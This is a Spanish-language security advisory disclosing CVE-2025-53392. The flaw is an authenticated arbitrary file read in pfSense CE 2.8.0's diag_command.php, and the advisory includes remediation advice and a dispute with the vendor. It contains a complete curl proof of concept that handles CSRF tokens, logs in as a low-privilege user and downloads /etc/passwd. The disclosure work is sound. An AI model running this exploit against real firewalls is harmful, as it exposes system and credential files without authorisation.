
Lectura arbitraria de archivos autenticada en pfSense 2.8.0 a través de la interfaz web de Diagnostics (CVE-2025-53392)
CVE-2025-53392CWE-36 (Recorrido de ruta absoluta)CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:NSolo con fines de prueba e investigación autorizados. No pruebe ni explote esta vulnerabilidad en sistemas que no posea o para los que no tenga permiso explícito.
pfSense CE 2.8.0 contiene una vulnerabilidad de divulgación de archivos locales en la página de diagnóstico diag_command.php, que permite a los usuarios autenticados descargar archivos arbitrarios del sistema de archivos subyacente.
Esta funcionalidad carece de cualquier saneamiento de rutas, restricción de directorios o controles de acceso más allá de la asignación de permisos.
La lógica vulnerable se encuentra en el archivo src/usr/local/www/diag_command.php:
if ($_POST['submit'] == "DOWNLOAD" && file_exists($_POST['dlPath'])) {
session_cache_limiter('public');
send_user_download('file', $_POST['dlPath']);
}
No se aplican comprobaciones de seguridad ni medidas de saneamiento al parámetro dlPath controlado por el usuario.
Cualquier ruta de archivo que el proceso PHP pueda leer se devolverá al usuario.
Crear el grupo low-priv y asignar un único privilegio (WebCfg - Diagnostics: Command)

Si bien reconozco la presencia de un aviso de seguridad para el privilegio
WebCfg - Diagnostics: Command, los avisos por sí solos no reemplazan un control de acceso sólido.La frase “Permitir acceso a la página de comandos de diagnóstico” es ambigua y subestima el riesgo; habilita la ejecución de comandos a nivel root sin restricciones, no solo el acceso de diagnóstico.
Las etiquetas de privilegio en una interfaz web deben reflejar con precisión el alcance y la gravedad de las acciones que permiten, especialmente cuando exponen un control administrativo total.
Asignar el grupo low-priv al usuario dev

Esta prueba de concepto demuestra que un usuario con solo el permiso WebCfg - Diagnostics: Command puede exfiltrar /etc/passwd abusando del parámetro dlPath sin sanear.
# 1. Start session and extract CSRF token
curl -k -c cookies.txt -s https://<IP>/diag_command.php > login_page.html
csrf_token=$(grep '__csrf_magic' login_page.html | grep 'value=' | sed -E 's/.*value="([^"]+)".*/\1/')
# 2. Authenticate as low-privileged user "dev"
curl -k -b cookies.txt -c cookies.txt \
-d "__csrf_magic=$csrf_token" \
-d "usernamefld=dev" \
-d "passwordfld=pass" \
-d "login=Sign+In" \
https://<IP>/index.php > /dev/null
# 3. Get CSRF token post-login
curl -k -b cookies.txt -s https://<IP>/diag_command.php > diag_authed.html
csrf_token=$(grep '__csrf_magic' diag_authed.html | grep 'value=' | sed -E 's/.*value="([^"]+)".*/\1/')
# 4. Exfiltrate arbitrary file (example: /etc/passwd)
curl -k -b cookies.txt -s -X POST https://<IP>/diag_command.php \
-d "__csrf_magic=$csrf_token" \
-d "submit=DOWNLOAD" \
-d "dlPath=/etc/passwd"

Cualquier usuario de pfSense con el privilegio WebCfg - Diagnostics: Command puede:
Esto viola el principio de mínimo privilegio y rompe los límites lógicos de privilegios.
dlPath a un directorio base seguro (p. ej., /tmp) usando realpath() y verificación de prefijo.. o rutas absolutasCVE-2025-53392 con la etiqueta de disputa del proveedorSi bien el proveedor afirma que el acceso a esta página equivale a root, esto confunde los permisos a nivel web con el acceso sin restricciones al backend.
El privilegio debe aplicarse técnicamente (no asumirse), y las advertencias en la interfaz de usuario no sustituyen un diseño seguro.
Cuestionando la afirmación del proveedor de que esta funcionalidad está “bien documentada”: no encontré ninguna mención en la documentación de Privilegios de Usuario de pfSense que establezca que el permiso WebCfg - Diagnostics: Command equivale a acceso a nivel root.

El proveedor quizás se refería a la página de Comandos de Diagnóstico, que incluye una advertencia general sobre el mal uso.
Pero la documentación no vincula explícitamente esta funcionalidad con el privilegio WebCfg - Diagnostics: Command ni aclara que otorga acceso a nivel root.
El módulo de diagnóstico dentro de la interfaz web de un firewall debería contener salvaguardias adecuadas para prevenir el abuso contra el sistema operativo subyacente.
Este trabajo se realizó fuera de mi empleo y refleja mis esfuerzos personales en la investigación de ciberseguridad.